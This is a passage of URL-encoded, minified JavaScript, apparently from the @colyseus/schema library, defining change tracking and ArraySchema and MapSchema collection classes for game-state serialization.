lizer%3Dse%2Ce.registerSerializer%3Dk%2CObject.defineProperty(e%2C%22__esModule%22%2C%7Bvalue%3A!0%7D)%7D)(Ze.exports)%3Bvar%20et%3DZe.exports%2Ctt%3D%7Bexports%3A%7B%7D%7D%3B!function(e%2Ct)%7B!function(e)%7Bvar%20t%3Dfunction(e%2Cn)%7Breturn%20t%3DObject.setPrototypeOf%7C%7C%7B__proto__%3A%5B%5D%7Dinstanceof%20Array%26%26function(e%2Ct)%7Be.__proto__%3Dt%7D%7C%7Cfunction(e%2Ct)%7Bfor(var%20n%20in%20t)Object.prototype.hasOwnProperty.call(t%2Cn)%26%26(e%5Bn%5D%3Dt%5Bn%5D)%7D%2Ct(e%2Cn)%7D%3Bfunction%20n(e%2Cn)%7Bif(%22function%22!%3Dtypeof%20n%26%26null!%3D%3Dn)throw%20new%20TypeError(%22Class%20extends%20value%20%22%2BString(n)%2B%22%20is%20not%20a%20constructor%20or%20null%22)%3Bfunction%20r()%7Bthis.constructor%3De%7Dt(e%2Cn)%2Ce.prototype%3Dnull%3D%3D%3Dn%3FObject.create(n)%3A(r.prototype%3Dn.prototype%2Cnew%20r)%7Dfunction%20r(e%2Ct%2Cn%2Cr)%7Bvar%20o%2Ci%3Darguments.length%2Cs%3Di%3C3%3Ft%3Anull%3D%3D%3Dr%3Fr%3DObject.getOwnPropertyDescriptor(t%2Cn)%3Ar%3Bif(%22object%22%3D%3Dtypeof%20Reflect%26%26%22function%22%3D%3Dtypeof%20Reflect.decorate)s%3DReflect.decorate(e%2Ct%2Cn%2Cr)%3Belse%20for(var%20a%3De.length-1%3Ba%3E%3D0%3Ba--)(o%3De%5Ba%5D)%26%26(s%3D(i%3C3%3Fo(s)%3Ai%3E3%3Fo(t%2Cn%2Cs)%3Ao(t%2Cn))%7C%7Cs)%3Breturn%20i%3E3%26%26s%26%26Object.defineProperty(t%2Cn%2Cs)%2Cs%7Dfunction%20o(e%2Ct%2Cn)%7Bif(n%7C%7C2%3D%3D%3Darguments.length)for(var%20r%2Co%3D0%2Ci%3Dt.length%3Bo%3Ci%3Bo%2B%2B)!r%26%26o%20in%20t%7C%7C(r%7C%7C(r%3DArray.prototype.slice.call(t%2C0%2Co))%2Cr%5Bo%5D%3Dt%5Bo%5D)%3Breturn%20e.concat(r%7C%7CArray.prototype.slice.call(t))%7D%22function%22%3D%3Dtypeof%20SuppressedError%26%26SuppressedError%3Bvar%20i%2Cs%3D255%2Ca%3D213%3Be.OPERATION%3Dvoid%200%2C(i%3De.OPERATION%7C%7C(e.OPERATION%3D%7B%7D))%5Bi.ADD%3D128%5D%3D%22ADD%22%2Ci%5Bi.REPLACE%3D0%5D%3D%22REPLACE%22%2Ci%5Bi.DELETE%3D64%5D%3D%22DELETE%22%2Ci%5Bi.DELETE_AND_ADD%3D192%5D%3D%22DELETE_AND_ADD%22%2Ci%5Bi.TOUCH%3D1%5D%3D%22TOUCH%22%2Ci%5Bi.CLEAR%3D10%5D%3D%22CLEAR%22%3Bvar%20c%3Dfunction()%7Bfunction%20t(e%2Ct%2Cn)%7Bthis.changed%3D!1%2Cthis.changes%3Dnew%20Map%2Cthis.allChanges%3Dnew%20Set%2Cthis.caches%3D%7B%7D%2Cthis.currentCustomOperation%3D0%2Cthis.ref%3De%2Cthis.setParent(t%2Cn)%7Dreturn%20t.prototype.setParent%3Dfunction(e%2Ct%2Cn)%7Bvar%20r%3Dthis%3Bif(this.indexes%7C%7C(this.indexes%3Dthis.ref%20instanceof%20Te%3Fthis.ref._definition.indexes%3A%7B%7D)%2Cthis.parent%3De%2Cthis.parentIndex%3Dn%2Ct)if(this.root%3Dt%2Cthis.ref%20instanceof%20Te)%7Bvar%20o%3Dthis.ref._definition%3Bfor(var%20i%20in%20o.schema)%7Bvar%20s%3Dthis.ref%5Bi%5D%3Bif(s%26%26s.%24changes)%7Bvar%20a%3Do.indexes%5Bi%5D%3Bs.%24changes.setParent(this.ref%2Ct%2Ca)%7D%7D%7Delse%22object%22%3D%3Dtypeof%20this.ref%26%26this.ref.forEach((function(e%2Ct)%7Bif(e%20instanceof%20Te)%7Bvar%20n%3De.%24changes%2Co%3Dr.ref.%24changes.indexes%5Bt%5D%3Bn.setParent(r.ref%2Cr.root%2Co)%7D%7D))%7D%2Ct.prototype.operation%3Dfunction(e)%7Bthis.changes.set(--this.currentCustomOperation%2Ce)%7D%2Ct.prototype.change%3Dfunction(t%2Cn)%7Bvoid%200%3D%3D%3Dn%26%26(n%3De.OPERATION.ADD)%3Bvar%20r%3D%22number%22%3D%3Dtypeof%20t%3Ft%3Athis.indexes%5Bt%5D%3Bthis.assertValidIndex(r%2Ct)%3Bvar%20o%3Dthis.changes.get(r)%3Bo%26%26o.op!%3D%3De.OPERATION.DELETE%26%26o.op!%3D%3De.OPERATION.TOUCH%7C%7Cthis.changes.set(r%2C%7Bop%3Ao%26%26o.op%3D%3D%3De.OPERATION.DELETE%3Fe.OPERATION.DELETE_AND_ADD%3An%2Cindex%3Ar%7D)%2Cthis.allChanges.add(r)%2Cthis.changed%3D!0%2Cthis.touchParents()%7D%2Ct.prototype.touch%3Dfunction(t)%7Bvar%20n%3D%22number%22%3D%3Dtypeof%20t%3Ft%3Athis.indexes%5Bt%5D%3Bthis.assertValidIndex(n%2Ct)%2Cthis.changes.has(n)%7C%7Cthis.changes.set(n%2C%7Bop%3Ae.OPERATION.TOUCH%2Cindex%3An%7D)%2Cthis.allChanges.add(n)%2Cthis.touchParents()%7D%2Ct.prototype.touchParents%3Dfunction()%7Bthis.parent%26%26this.parent.%24changes.touch(this.parentIndex)%7D%2Ct.prototype.getType%3Dfunction(e)%7Bif(this.ref._definition)return(t%3Dthis.ref._definition).schema%5Bt.fieldsByIndex%5Be%5D%5D%3Bvar%20t%2Cn%3D(t%3Dthis.parent._definition).schema%5Bt.fieldsByIndex%5Bthis.parentIndex%5D%5D%3Breturn%20Object.values(n)%5B0%5D%7D%2Ct.prototype.getChildrenFilter%3Dfunction()%7Bvar%20e%3Dthis.parent._definition.childFilters%3Breturn%20e%26%26e%5Bthis.parentIndex%5D%7D%2Ct.prototype.getValue%3Dfunction(e)%7Breturn%20this.ref.getByIndex(e)%7D%2Ct.prototype.delete%3Dfunction(t)%7Bvar%20n%3D%22number%22%3D%3Dtypeof%20t%3Ft%3Athis.indexes%5Bt%5D%3Bif(void%200!%3D%3Dn)%7Bvar%20r%3Dthis.getValue(n)%3Bthis.changes.set(n%2C%7Bop%3Ae.OPERATION.DELETE%2Cindex%3An%7D)%2Cthis.allChanges.delete(n)%2Cdelete%20this.caches%5Bn%5D%2Cr%26%26r.%24changes%26%26(r.%24changes.parent%3Dvoid%200)%2Cthis.changed%3D!0%2Cthis.touchParents()%7Delse%20console.warn(%22%40colyseus%2Fschema%20%22.concat(this.ref.constructor.name%2C%22%3A%20trying%20to%20delete%20non-existing%20index%3A%20%22).concat(t%2C%22%20(%22).concat(n%2C%22)%22))%7D%2Ct.prototype.discard%3Dfunction(t%2Cn)%7Bvar%20r%3Dthis%3Bvoid%200%3D%3D%3Dt%26%26(t%3D!1)%2Cvoid%200%3D%3D%3Dn%26%26(n%3D!1)%2Cthis.ref%20instanceof%20Te%7C%7Cthis.changes.forEach((function(t)%7Bif(t.op%3D%3D%3De.OPERATION.DELETE)%7Bvar%20n%3Dr.ref.getIndex(t.index)%3Bdelete%20r.indexes%5Bn%5D%7D%7D))%2Cthis.changes.clear()%2Cthis.changed%3Dt%2Cn%26%26this.allChanges.clear()%2Cthis.currentCustomOperation%3D0%7D%2Ct.prototype.discardAll%3Dfunction()%7Bvar%20e%3Dthis%3Bthis.changes.forEach((function(t)%7Bvar%20n%3De.getValue(t.index)%3Bn%26%26n.%24changes%26%26n.%24changes.discardAll()%7D))%2Cthis.discard()%7D%2Ct.prototype.cache%3Dfunction(e%2Ct)%7Bthis.caches%5Be%5D%3Dt%7D%2Ct.prototype.clone%3Dfunction()%7Breturn%20new%20t(this.ref%2Cthis.parent%2Cthis.root)%7D%2Ct.prototype.ensureRefId%3Dfunction()%7Bvoid%200%3D%3D%3Dthis.refId%26%26(this.refId%3Dthis.root.getNextUniqueId())%7D%2Ct.prototype.assertValidIndex%3Dfunction(e%2Ct)%7Bif(void%200%3D%3D%3De)throw%20new%20Error('ChangeTree%3A%20missing%20index%20for%20field%20%22'.concat(t%2C'%22'))%7D%2Ct%7D()%3Bfunction%20l(e%2Ct%2Cn%2Cr)%7Breturn%20e%5Bt%5D%7C%7C(e%5Bt%5D%3D%5B%5D)%2Ce%5Bt%5D.push(n)%2Cnull%3D%3Dr%7C%7Cr.forEach((function(e%2Ct)%7Breturn%20n(e%2Ct)%7D))%2Cfunction()%7Breturn%20f(e%5Bt%5D%2Ce%5Bt%5D.indexOf(n))%7D%7Dfunction%20u(t)%7Bvar%20n%3Dthis%2Cr%3D%22string%22!%3Dtypeof%20this.%24changes.getType()%3Bthis.%24items.forEach((function(o%2Ci)%7Bt.push(%7BrefId%3An.%24changes.refId%2Cop%3Ae.OPERATION.DELETE%2Cfield%3Ai%2Cvalue%3Avoid%200%2CpreviousValue%3Ao%7D)%2Cr%26%26n.%24changes.root.removeRef(o.%24changes.refId)%7D))%7Dfunction%20f(e%2Ct)%7Bif(-1%3D%3D%3Dt%7C%7Ct%3E%3De.length)return!1%3Bfor(var%20n%3De.length-1%2Cr%3Dt%3Br%3Cn%3Br%2B%2B)e%5Br%5D%3De%5Br%2B1%5D%3Breturn%20e.length%3Dn%2C!0%7Dvar%20d%3Dfunction(e%2Ct)%7Bvar%20n%3De.toString()%2Cr%3Dt.toString()%3Breturn%20n%3Cr%3F-1%3An%3Er%3F1%3A0%7D%3Bfunction%20h(e)%7Breturn%20e.%24proxy%3D!0%2Ce%3Dnew%20Proxy(e%2C%7Bget%3Afunction(e%2Ct)%7Breturn%22symbol%22%3D%3Dtypeof%20t%7C%7CisNaN(t)%3Fe%5Bt%5D%3Ae.at(t)%7D%2Cset%3Afunction(e%2Ct%2Cn)%7Bif(%22symbol%22%3D%3Dtypeof%20t%7C%7CisNaN(t))e%5Bt%5D%3Dn%3Belse%7Bvar%20r%3DArray.from(e.%24items.keys())%2Co%3DparseInt(r%5Bt%5D%7C%7Ct)%3Bnull%3D%3Dn%3Fe.deleteAt(o)%3Ae.setAt(o%2Cn)%7Dreturn!0%7D%2CdeleteProperty%3Afunction(e%2Ct)%7Breturn%22number%22%3D%3Dtypeof%20t%3Fe.deleteAt(t)%3Adelete%20e%5Bt%5D%2C!0%7D%2Chas%3Afunction(e%2Ct)%7Breturn%22symbol%22%3D%3Dtypeof%20t%7C%7CisNaN(Number(t))%3FReflect.has(e%2Ct)%3Ae.%24items.has(Number(t))%7D%7D)%2Ce%7Dvar%20p%3Dfunction()%7Bfunction%20t()%7Bfor(var%20e%3D%5B%5D%2Ct%3D0%3Bt%3Carguments.length%3Bt%2B%2B)e%5Bt%5D%3Darguments%5Bt%5D%3Bthis.%24changes%3Dnew%20c(this)%2Cthis.%24items%3Dnew%20Map%2Cthis.%24indexes%3Dnew%20Map%2Cthis.%24refId%3D0%2Cthis.push.apply(this%2Ce)%7Dreturn%20t.prototype.onAdd%3Dfunction(t%2Cn)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cl(this.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Ce.OPERATION.ADD%2Ct%2Cn%3Fthis.%24items%3Avoid%200)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.is%3Dfunction(e)%7Breturn%20Array.isArray(e)%7C%7Cvoid%200!%3D%3De.array%7D%2CObject.defineProperty(t.prototype%2C%22length%22%2C%7Bget%3Afunction()%7Breturn%20this.%24items.size%7D%2Cset%3Afunction(e)%7B0%3D%3D%3De%3Fthis.clear()%3Athis.splice(e%2Cthis.length-e)%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.push%3Dfunction()%7Bfor(var%20e%2Ct%3Dthis%2Cn%3D%5B%5D%2Cr%3D0%3Br%3Carguments.length%3Br%2B%2B)n%5Br%5D%3Darguments%5Br%5D%3Breturn%20n.forEach((function(n)%7Be%3Dt.%24refId%2B%2B%2Ct.setAt(e%2Cn)%7D))%2Ce%7D%2Ct.prototype.pop%3Dfunction()%7Bvar%20e%3DArray.from(this.%24indexes.values()).pop()%3Bif(void%200!%3D%3De)%7Bthis.%24changes.delete(e)%2Cthis.%24indexes.delete(e)%3Bvar%20t%3Dthis.%24items.get(e)%3Breturn%20this.%24items.delete(e)%2Ct%7D%7D%2Ct.prototype.at%3Dfunction(e)%7Bvar%20t%3DArray.from(this.%24items.keys())%5Be%5D%3Breturn%20this.%24items.get(t)%7D%2Ct.prototype.setAt%3Dfunction(t%2Cn)%7Bvar%20r%2Co%3Bif(null!%3Dn)%7Bif(this.%24items.get(t)!%3D%3Dn)%7Bvoid%200!%3D%3Dn.%24changes%26%26n.%24changes.setParent(this%2Cthis.%24changes.root%2Ct)%3Bvar%20i%3Dnull!%3D%3D(o%3Dnull%3D%3D%3D(r%3Dthis.%24changes.indexes%5Bt%5D)%7C%7Cvoid%200%3D%3D%3Dr%3Fvoid%200%3Ar.op)%26%26void%200!%3D%3Do%3Fo%3Ae.OPERATION.ADD%3Bthis.%24changes.indexes%5Bt%5D%3Dt%2Cthis.%24indexes.set(t%2Ct)%2Cthis.%24items.set(t%2Cn)%2Cthis.%24changes.change(t%2Ci)%7D%7Delse%20console.error(%22ArraySchema%20items%20cannot%20be%20null%20nor%20undefined%3B%20Use%20%60deleteAt(index)%60%20instead.%22)%7D%2Ct.prototype.deleteAt%3Dfunction(e)%7Bvar%20t%3DArray.from(this.%24items.keys())%5Be%5D%3Breturn%20void%200!%3D%3Dt%26%26this.%24deleteAt(t)%7D%2Ct.prototype.%24deleteAt%3Dfunction(e)%7Breturn%20this.%24changes.delete(e)%2Cthis.%24indexes.delete(e)%2Cthis.%24items.delete(e)%7D%2Ct.prototype.clear%3Dfunction(t)%7Bthis.%24changes.discard(!0%2C!0)%2Cthis.%24changes.indexes%3D%7B%7D%2Cthis.%24indexes.clear()%2Ct%26%26u.call(this%2Ct)%2Cthis.%24items.clear()%2Cthis.%24changes.operation(%7Bindex%3A0%2Cop%3Ae.OPERATION.CLEAR%7D)%2Cthis.%24changes.touchParents()%7D%2Ct.prototype.concat%3Dfunction()%7Bfor(var%20e%2Cn%3D%5B%5D%2Cr%3D0%3Br%3Carguments.length%3Br%2B%2B)n%5Br%5D%3Darguments%5Br%5D%3Breturn%20new(t.bind.apply(t%2Co(%5Bvoid%200%5D%2C(e%3DArray.from(this.%24items.values())).concat.apply(e%2Cn)%2C!1)))%7D%2Ct.prototype.join%3Dfunction(e)%7Breturn%20Array.from(this.%24items.values()).join(e)%7D%2Ct.prototype.reverse%3Dfunction()%7Bvar%20e%3Dthis%2Ct%3DArray.from(this.%24items.keys())%3Breturn%20Array.from(this.%24items.values()).reverse().forEach((function(n%2Cr)%7Be.setAt(t%5Br%5D%2Cn)%7D))%2Cthis%7D%2Ct.prototype.shift%3Dfunction()%7Bvar%20e%3DArray.from(this.%24items.keys()).shift()%3Bif(void%200!%3D%3De)%7Bvar%20t%3Dthis.%24items.get(e)%3Breturn%20this.%24deleteAt(e)%2Ct%7D%7D%2Ct.prototype.slice%3Dfunction(e%2Cn)%7Bvar%20r%3Dnew%20t%3Breturn%20r.push.apply(r%2CArray.from(this.%24items.values()).slice(e%2Cn))%2Cr%7D%2Ct.prototype.sort%3Dfunction(e)%7Bvar%20t%3Dthis%3Bvoid%200%3D%3D%3De%26%26(e%3Dd)%3Bvar%20n%3DArray.from(this.%24items.keys())%3Breturn%20Array.from(this.%24items.values()).sort(e).forEach((function(e%2Cr)%7Bt.setAt(n%5Br%5D%2Ce)%7D))%2Cthis%7D%2Ct.prototype.splice%3Dfunction(e%2Ct)%7Bvoid%200%3D%3D%3Dt%26%26(t%3Dthis.length-e)%3Bfor(var%20n%3D%5B%5D%2Cr%3D2%3Br%3Carguments.length%3Br%2B%2B)n%5Br-2%5D%3Darguments%5Br%5D%3Bfor(var%20o%3DArray.from(this.%24items.keys())%2Ci%3D%5B%5D%2Cs%3De%3Bs%3Ce%2Bt%3Bs%2B%2B)i.push(this.%24items.get(o%5Bs%5D))%2Cthis.%24deleteAt(o%5Bs%5D)%3Bfor(s%3D0%3Bs%3Cn.length%3Bs%2B%2B)this.setAt(e%2Bs%2Cn%5Bs%5D)%3Breturn%20i%7D%2Ct.prototype.unshift%3Dfunction()%7Bfor(var%20e%3Dthis%2Ct%3D%5B%5D%2Cn%3D0%3Bn%3Carguments.length%3Bn%2B%2B)t%5Bn%5D%3Darguments%5Bn%5D%3Bvar%20r%3Dthis.length%2Co%3Dt.length%2Ci%3DArray.from(this.%24items.values())%3Breturn%20t.forEach((function(t%2Cn)%7Be.setAt(n%2Ct)%7D))%2Ci.forEach((function(t%2Cn)%7Be.setAt(o%2Bn%2Ct)%7D))%2Cr%2Bo%7D%2Ct.prototype.indexOf%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).indexOf(e%2Ct)%7D%2Ct.prototype.lastIndexOf%3Dfunction(e%2Ct)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3Dthis.length-1)%2CArray.from(this.%24items.values()).lastIndexOf(e%2Ct)%7D%2Ct.prototype.every%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).every(e%2Ct)%7D%2Ct.prototype.some%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).some(e%2Ct)%7D%2Ct.prototype.forEach%3Dfunction(e%2Ct)%7BArray.from(this.%24items.values()).forEach(e%2Ct)%7D%2Ct.prototype.map%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).map(e%2Ct)%7D%2Ct.prototype.filter%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).filter(e%2Ct)%7D%2Ct.prototype.reduce%3Dfunction(e%2Ct)%7Breturn%20Array.prototype.reduce.apply(Array.from(this.%24items.values())%2Carguments)%7D%2Ct.prototype.reduceRight%3Dfunction(e%2Ct)%7Breturn%20Array.prototype.reduceRight.apply(Array.from(this.%24items.values())%2Carguments)%7D%2Ct.prototype.find%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).find(e%2Ct)%7D%2Ct.prototype.findIndex%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).findIndex(e%2Ct)%7D%2Ct.prototype.fill%3Dfunction(e%2Ct%2Cn)%7Bthrow%20new%20Error(%22ArraySchema%23fill()%20not%20implemented%22)%7D%2Ct.prototype.copyWithin%3Dfunction(e%2Ct%2Cn)%7Bthrow%20new%20Error(%22ArraySchema%23copyWithin()%20not%20implemented%22)%7D%2Ct.prototype.toString%3Dfunction()%7Breturn%20this.%24items.toString()%7D%2Ct.prototype.toLocaleString%3Dfunction()%7Breturn%20this.%24items.toLocaleString()%7D%2Ct.prototype%5BSymbol.iterator%5D%3Dfunction()%7Breturn%20Array.from(this.%24items.values())%5BSymbol.iterator%5D()%7D%2CObject.defineProperty(t%2CSymbol.species%2C%7Bget%3Afunction()%7Breturn%20t%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.entries%3Dfunction()%7Breturn%20this.%24items.entries()%7D%2Ct.prototype.keys%3Dfunction()%7Breturn%20this.%24items.keys()%7D%2Ct.prototype.values%3Dfunction()%7Breturn%20this.%24items.values()%7D%2Ct.prototype.includes%3Dfunction(e%2Ct)%7Breturn%20Array.from(this.%24items.values()).includes(e%2Ct)%7D%2Ct.prototype.flatMap%3Dfunction(e%2Ct)%7Bthrow%20new%20Error(%22ArraySchema%23flatMap()%20is%20not%20supported.%22)%7D%2Ct.prototype.flat%3Dfunction(e)%7Bthrow%20new%20Error(%22ArraySchema%23flat()%20is%20not%20supported.%22)%7D%2Ct.prototype.findLast%3Dfunction()%7Bvar%20e%3DArray.from(this.%24items.values())%3Breturn%20e.findLast.apply(e%2Carguments)%7D%2Ct.prototype.findLastIndex%3Dfunction()%7Bvar%20e%3DArray.from(this.%24items.values())%3Breturn%20e.findLastIndex.apply(e%2Carguments)%7D%2Ct.prototype.with%3Dfunction(e%2Cn)%7Bvar%20r%3DArray.from(this.%24items.values())%3Breturn%20r%5Be%5D%3Dn%2Cnew(t.bind.apply(t%2Co(%5Bvoid%200%5D%2Cr%2C!1)))%7D%2Ct.prototype.toReversed%3Dfunction()%7Breturn%20Array.from(this.%24items.values()).reverse()%7D%2Ct.prototype.toSorted%3Dfunction(e)%7Breturn%20Array.from(this.%24items.values()).sort(e)%7D%2Ct.prototype.toSpliced%3Dfunction(e%2Ct)%7Bvar%20n%3DArray.from(this.%24items.values())%3Breturn%20n.toSpliced.apply(n%2Carguments)%7D%2Ct.prototype.setIndex%3Dfunction(e%2Ct)%7Bthis.%24indexes.set(e%2Ct)%7D%2Ct.prototype.getIndex%3Dfunction(e)%7Breturn%20this.%24indexes.get(e)%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this.%24items.get(this.%24indexes.get(e))%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bvar%20t%3Dthis.%24indexes.get(e)%3Bthis.%24items.delete(t)%2Cthis.%24indexes.delete(e)%7D%2Ct.prototype.toArray%3Dfunction()%7Breturn%20Array.from(this.%24items.values())%7D%2Ct.prototype.toJSON%3Dfunction()%7Breturn%20this.toArray().map((function(e)%7Breturn%22function%22%3D%3Dtypeof%20e.toJSON%3Fe.toJSON()%3Ae%7D))%7D%2Ct.prototype.clone%3Dfunction(e)%7Breturn%20e%3Fnew(t.bind.apply(t%2Co(%5Bvoid%200%5D%2CArray.from(this.%24items.values())%2C!1)))%3Anew(t.bind.apply(t%2Co(%5Bvoid%200%5D%2Cthis.map((function(e)%7Breturn%20e.%24changes%3Fe.clone()%3Ae%7D))%2C!1)))%7D%2Ct%7D()%3Bfunction%20g(e)%7Breturn%20e.%24proxy%3D!0%2Ce%3Dnew%20Proxy(e%2C%7Bget%3Afunction(e%2Ct)%7Breturn%22symbol%22!%3Dtypeof%20t%26%26void%200%3D%3D%3De%5Bt%5D%3Fe.get(t)%3Ae%5Bt%5D%7D%2Cset%3Afunction(e%2Ct%2Cn)%7Breturn%22symbol%22!%3Dtypeof%20t%26%26-1%3D%3D%3Dt.indexOf(%22%24%22)%26%26%22onAdd%22!%3D%3Dt%26%26%22onRemove%22!%3D%3Dt%26%26%22onChange%22!%3D%3Dt%3Fe.set(t%2Cn)%3Ae%5Bt%5D%3Dn%2C!0%7D%2CdeleteProperty%3Afunction(e%2Ct)%7Breturn%20e.delete(t)%2C!0%7D%7D)%2Ce%7Dvar%20m%3Dfunction()%7Bfunction%20t(e)%7Bvar%20n%3Dthis%3Bif(this.%24changes%3Dnew%20c(this)%2Cthis.%24items%3Dnew%20Map%2Cthis.%24indexes%3Dnew%20Map%2Cthis.%24refId%3D0%2Ce)if(e%20instanceof%20Map%7C%7Ce%20instanceof%20t)e.forEach((function(e%2Ct)%7Breturn%20n.set(t%2Ce)%7D))%3Belse%20for(var%20r%20in%20e)this.set(r%2Ce%5Br%5D)%7Dreturn%20t.prototype.onAdd%3Dfunction(t%2Cn)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cl(this.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Ce.OPERATION.ADD%2Ct%2Cn%3Fthis.%24items%3Avoid%200)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.is%3Dfunction(e)%7Breturn%20void%200!%3D%3De.map%7D%2Ct.prototype%5BSymbol.iterator%5D%3Dfunction()%7Breturn%20this.%24items%5BSymbol.iterator%5D()%7D%2CObject.defineProperty(t.prototype%2CSymbol.toStringTag%2C%7Bget%3Afunction()%7Breturn%20this.%24items%5BSymbol.toStringTag%5D%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2CObject.defineProperty(t%2CSymbol.species%2C%7Bget%3Afunction()%7Breturn%20t%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.set%3Dfunction(t%2Cn)%7Bif(null%3D%3Dn)throw%20new%20Error(%22MapSchema%23set('%22.concat(t%2C%22'%2C%20%22).concat(n%2C%22)%3A%20trying%20to%20set%20%22).concat(n%2C%22%20value%20on%20'%22).concat(t%2C%22'.%22))%3Bt%3Dt.toString()%3Bvar%20r%3Dvoid%200!%3D%3Dthis.%24changes.indexes%5Bt%5D%2Co%3Dr%3Fthis.%24changes.indexes%5Bt%5D%3Athis.%24refId%2B%2B%2Ci%3Dr%3Fe.OPERATION.REPLACE%3Ae.OPERATION.ADD%2Cs%3Dvoid%200!%3D%3Dn.%24changes%3Bif(s%26%26n.%24changes.setParent(this%2Cthis.%24changes.root%2Co)%2Cr)%7Bif(!s%26%26this.%24items.get(t)%3D%3D%3Dn)return%3Bs%26%26this.%24items.get(t)!%3D%3Dn%26%26(i%3De.OPERATION.ADD)%7Delse%20this.%24changes.indexes%5Bt%5D%3Do%2Cthis.%24indexes.set(o%2Ct)%3Breturn%20this.%24items.set(t%2Cn)%2Cthis.%24changes.change(t%2Ci)%2Cthis%7D%2Ct.prototype.get%3Dfunction(e)%7Breturn%20this.%24items.get(e)%7D%2Ct.prototype.delete%3Dfunction(e)%7Breturn%20this.%24changes.delete(e.toString())%2Cthis.%24items.delete(e)%7D%2Ct.prototype.clear%3Dfunction(t)%7Bthis.%24changes.discard(!0%2C!0)%2Cthis.%24changes.indexes%3D%7B%7D%2Cthis.%24indexes.clear()%2Ct%26%26u.call(this%2Ct)%2Cthis.%24items.clear()%2Cthis.%24changes.operation(%7Bindex%3A0%2Cop%3Ae.OPERATION.CLEAR%7D)%2Cthis.%24changes.touchParents()%7D%2Ct.prototype.has%3Dfunction(e)%7Breturn%20this.%24items.has(e)%7D%2Ct.prototype.forEach%3Dfunction(e)%7Bthis.%24items.forEach(e)%7D%2Ct.prototype.entries%3Dfunction()%7Breturn%20this.%24items.entries()%7D%2Ct.prototype.keys%3Dfunction()%7Breturn%20this.%24items.keys()%7D%2Ct.prototype.values%3Dfunction()%7Breturn%20this.%24items.values()%7D%2CObject.defineProperty(t.prototype%2C%22size%22%2C%7Bget%3Afunction()%7Breturn%20this.%24items.size%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.setIndex%3Dfunction(e%2Ct)%7Bthis.%24indexes.set(e%2Ct)%7D%2Ct.prototype.getIndex%3Dfunction(e)%7Breturn%20this.%24indexes.get(e)%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this.%24items.get(this.%24indexes.get(e))%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bvar%20t%3Dthis.%24indexes.get(e)%3Bthis.%24items.delete(t)%2Cthis.%24indexes.delete(e)%7D%2Ct.prototype.toJSON%3Dfunction()%7Bvar%20e%3D%7B%7D%3Breturn%20this.forEach((function(t%2Cn)%7Be%5Bn%5D%3D%22function%22%3D%3Dtypeof%20t.toJSON%3Ft.toJSON()%3At%7D))%2Ce%7D%2Ct.prototype.clone%3Dfunction(e)%7Bvar%20n%3Breturn%20e%3Fn%3DObject.assign(new%20t%2Cthis)%3A(n%3Dnew%20t%2Cthis.forEach((function(e%2Ct)%7Be.%24changes%3Fn.set(t%2Ce.clone())%3An.set(t%2Ce)%7D)))%2Cn%7D%2Ct%7D()%2C%24%3D%7B%7D%3Bfunction%20y(e%2Ct)%7B%24%5Be%5D%3Dt%7Dfunction%20v(e)%7Breturn%20%24%5Be%5D%7Dvar%20b%3Dfunction()%7Bfunction%20e()%7Bthis.indexes%3D%7B%7D%2Cthis.fieldsByIndex%3D%7B%7D%2Cthis.deprecated%3D%7B%7D%2Cthis.descriptors%3D%7B%7D%7Dreturn%20e.create%3Dfunction(t)%7Bvar%20n%3Dnew%20e%3Breturn%20n.schema%3DObject.assign(%7B%7D%2Ct%26%26t.schema%7C%7C%7B%7D)%2Cn.indexes%3DObject.assign(%7B%7D%2Ct%26%26t.indexes%7C%7C%7B%7D)%2Cn.fieldsByIndex%3DObject.assign(%7B%7D%2Ct%26%26t.fieldsByIndex%7C%7C%7B%7D)%2Cn.descriptors%3DObject.assign(%7B%7D%2Ct%26%26t.descriptors%7C%7C%7B%7D)%2Cn.deprecated%3DObject.assign(%7B%7D%2Ct%26%26t.deprecated%7C%7C%7B%7D)%2Cn%7D%2Ce.prototype.addField%3Dfunction(e%2Ct)%7Bvar%20n%3Dthis.getNextFieldIndex()%3Bthis.fieldsByIndex%5Bn%5D%3De%2Cthis.indexes%5Be%5D%3Dn%2Cthis.schema%5Be%5D%3DArray.isArray(t)%3F%7Barray%3At%5B0%5D%7D%3At%7D%2Ce.prototype.hasField%3Dfunction(e)%7Breturn%20void%200!%3D%3Dthis.indexes%5Be%5D%7D%2Ce.prototype.addFilter%3Dfunction(e%2Ct)%7Breturn%20this.filters%7C%7C(this.filters%3D%7B%7D%2Cthis.indexesWithFilters%3D%5B%5D)%2Cthis.filters%5Bthis.indexes%5Be%5D